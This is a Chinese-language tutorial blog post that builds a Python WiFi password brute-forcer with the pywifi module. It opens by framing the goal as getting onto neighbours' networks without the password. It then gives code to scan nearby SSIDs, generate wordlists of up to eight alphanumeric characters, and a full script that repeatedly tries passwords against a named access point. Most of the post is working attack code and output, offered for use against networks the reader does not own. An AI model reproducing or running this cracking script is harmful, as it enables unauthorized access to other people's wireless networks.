现在的年轻人没网可不行,家里没有网络的也都会搜索看看附近有没有能够连接的网络,可是没有密码该怎么办呢,很多人都会想到用万能钥匙,那么本篇文章我们就用Python来自己实现一下wifi密码的破解。
Python提供了一个用于操作无线接口的跨平台模块:pywifi。
所以我们先将该模块下载好,下载指令:pip install pywifi
。关于pywifi模块的使用这里有介绍:https://github.com/awkman/pywifi/blob/master/DOC.md,感兴趣的同学可以进去看看。
安装好模块之后,我们来尝试着使用一下,新建一个.py文件,将模块导入:
import pywifi
# 需要下载该模块comtypes
from pywifi import const
这里的第二行代码意思是引用pywifi模块中定义的常量,引入后就可以直接使用了。
pywifi模块如何判断我们当前是否已经连接了wifi呢?很简单:
import pywifi
# 需要下载该模块comtypes
from pywifi import const
# 判断是否已经连接到wifi
def gic():
# 创建一个无线对象
wifi = pywifi.PyWiFi()
# 获取到第一个无线网卡
ifaces = wifi.interfaces()[0]
print(ifaces.name())
gic()
首先创建一个无线对象,通过该对象调用interfaces()方法可以获得网卡列表,通常,一个平台只有一个wifi接口,所以直接取索引0获得我们的网卡对象,并打印其名称,运行结果为:
Qualcomm Atheros AR956x Wireless Network Adapter
[Finished in 0.7s]
然后我查看了自己的网卡名称:
说明刚才的程序已经成功获取到了网卡对象,通过该对象调用status()方法能够知晓我们的wifi状态,比如:
import pywifi
# 需要下载该模块comtypes
from pywifi import const
# 判断是否已经连接到wifi
def gic():
# 创建一个无线对象
wifi = pywifi.PyWiFi()
# 获取到第一个无线网卡
ifaces = wifi.interfaces()[0]
print(ifaces.status())
gic()
此时运行程序,结果为:
4
[Finished in 0.7s]
实际上,wifi共有四种状态,分别为:
从这些常量定义中,可以得知我的电脑目前是连接了wifi的,事实也确实如此:
所以如何实现判断当前是否连接到了wifi,代码如下:
import pywifi
# 需要下载该模块comtypes
from pywifi import const
# 判断是否已经连接到wifi
def gic():
# 创建一个无线对象
wifi = pywifi.PyWiFi()
# 获取到第一个无线网卡
ifaces = wifi.interfaces()[0]
# 判断wifi状态
if ifaces.status() == const.IFACE_CONNECTED:
print("已连接")
else:
print("未连接")
gic()
运行结果:
已连接
[Finished in 0.8s]
再介绍一下如何使用pywifi模块扫描附近的wifi:
import pywifi
# 需要下载该模块comtypes
from pywifi import const
# 扫描附近的wifi
def bies():
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
# 扫描wifi
ifaces.scan()
# 获取扫描结果
result = ifaces.scan_results()
for data in result:
# ssid为wifi的名称
print(data.ssid)
bies()
想实现这个功能非常简单,还是先获取到网卡对象,然后调用该对象的scan()方法进行扫描,并调用scan_results()获取扫描结果,最后遍历一下内容,运行结果为:
Tenda_29F708
Tenda_29F708
ChinaNet-4m2m
CMCC-ZTRF
ChinaNet-5inu
ChinaNet-iTV-5inu
CMCC-PrvR
TP-LINK_402
ChinaNet-iTV-pkQy
FAST_8326
H3C_27B7EC
TP-LINK_A3AD
ChinaNet-q5xV
TP-LINK_3EC0
ChinaNet-iTV-q5xV
CMCC-CyQ7
TP-LINK_D14A
TP-LINK_BD06
jiangqi
ChinaNet-aork
iTV-aork
CMCC-4NDa
Chinanet
DoMyNet_1170
@PHICOMM_5E
ChinaNet-n3kT
MERCURY_A616
midea_da_0519
TP-LINK_7145
ChinaNet-hjDH
iTV-hjDH
DIRECT-NCLAPTOP-PMOEF6JBmsGm
ChinaNet-pkQy
ChinaNet-WDkE
CMCC-hvzz
CMCC-3NtF
TP-LINK_BE59yjj
MERCURY_4690
ChinaNet-iTV-4m2m
ChinaNet-2.4G-402
PHICOMM_9A6656
[Finished in 1.2s]
看来我附近的wifi还是挺多的哈,当然这是未连接wifi的结果,如果你已经连接上了wifi,它将只能扫描到已连接的wifi,比如我连接上wifi后再运行程序,结果为:
Tenda_29F708
Tenda_29F708
[Finished in 0.9s]
所以不管你当前是否连接上了网络,在开始破解之前,我得先将wifi断开连接:
import pywifi
# 需要下载该模块comtypes
from pywifi import const
import time
# 测试连接
def wifiConnection(pwd):
# 抓取网口
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡
ifaces = wifi.interfaces()[0]
# 断开所有的连接
ifaces.disconnect()
time.sleep(1)
wifiConnection()
接下来就是最为重要的一个功能,连接wifi,通过pywifi连接wifi需要以下几个步骤:
按照这些步骤进行编写,代码如下:
# 测试连接
def wifiConnection(pwd):
# 抓取网口
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡
ifaces = wifi.interfaces()[0]
# 断开所有的连接
ifaces.disconnect()
time.sleep(1)
wifiStatus = ifaces.status()
if wifiStatus == const.IFACE_DISCONNECTED:
# 创建wifi的连接文件
profile = pywifi.Profile()
# 要连接wifi的名称
profile.ssid = "Tenda_29F708"
# 对网卡开放
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 密码
profile.key = pwd
# 删除所有的wifi文件
ifaces.remove_all_network_profiles()
# 设定新的连接文件
tep_profile = ifaces.add_network_profile(profile)
# 用新的连接文件去测试连接
ifaces.connect(tep_profile)
# 给wifi一个连接的时间
time.sleep(4)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已连接")
在上面的一系列步骤中,仅有一步内容是不确定的,那就是wifi的密码,我们并不知道wifi的密码,所以我们的想法是不断地将某个密码传入进行测试连接,若连接失败,则换个密码继续尝试直至连接成功。
关键就是这个wifi的密码该如何生成呢?这个在网上去搜其实有很多:
当然你也可以自己生成密码本,不过自己生成的肯定没有人家的全面,要生成密码本也很简单,代码如下:
import itertools as its
# 迭代器
words = "123"
r = its.product(words,repeat = 3)
# 保存到文件中
dic = open("wifipwd.txt","a")
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()
运行程序,产生wifipwd.txt文本,文本内容为:
111
112
113
121
122
123
131
132
133
211
212
213
221
222
223
231
232
233
311
312
313
321
322
323
331
332
333
不过wifi的密码远没有这么简单,它应该包含数字、大小写字母甚至是特殊字符,所以自己写的密码本俨然不够全面,比如:
import itertools as its
# 迭代器
words = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
# repeat表示生成的密码位数
r = its.product(words,repeat = 8)
# 保存到文件中
dic = open("wifipwd.txt","a")
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()
该程序能够生成8位含数字、大小写字母的wifi密码。
一切工作准备就绪,可以开始破解了,破解过程即:读取密码本,将密码本中的密码不断地传入测试连接的函数,如此反复,直到连接成功,程序完整代码如下:
import pywifi
# 需要下载该模块comtypes
from pywifi import const
import time
# 判断是否已经连接到wifi
def gic():
# 创建一个无线对象
wifi = pywifi.PyWiFi()
# 获取到第一个无线网卡
ifaces = wifi.interfaces()[0]
if ifaces.status() == const.IFACE_CONNECTED:
print("已连接")
else:
print("未连接")
# 扫描附近的wifi
def bies():
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
# 扫描wifi
ifaces.scan()
# 获取扫描结果
result = ifaces.scan_results()
for data in result:
# ssid为wifi的名称
print(data.ssid)
# 读取密码本
def readPassword():
print("开始破解:")
# 密码本路径
path = "C:\\Users\\Administrator\\Desktop\\CrawlerDemo\\wifipwd.txt"
# 打开文件
file = open(path,"r")
while True:
try:
# 读取一行
password = file.readline()
bool = wifiConnection(password)
if bool:
print("密码正确",password)
break
else:
print("密码不正确",password)
except:
continue
# 测试连接
def wifiConnection(pwd):
# 抓取网口
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡
ifaces = wifi.interfaces()[0]
# 断开所有的连接
ifaces.disconnect()
time.sleep(1)
wifiStatus = ifaces.status()
if wifiStatus == const.IFACE_DISCONNECTED:
# 创建wifi的连接文件
profile = pywifi.Profile()
# 要连接wifi的名称
profile.ssid = "Tenda_29F708"
# 网卡的开放状态
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 密码
profile.key = pwd
# 删除所有的wifi文件
ifaces.remove_all_network_profiles()
# 设定新的连接文件
tep_profile = ifaces.add_network_profile(profile)
# 用新的连接文件去测试连接
ifaces.connect(tep_profile)
# 给wifi一个连接的时间
time.sleep(4)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已连接")
readPassword()
到这里,破解wifi程序就完成了,如果你理解了这个程序会发现,这种方式去破解wifi显然很糟糕,如果wifi密码很简单的话,应该还是能够破解出来的,只是时间问题(如果你有一个完善的密码本)。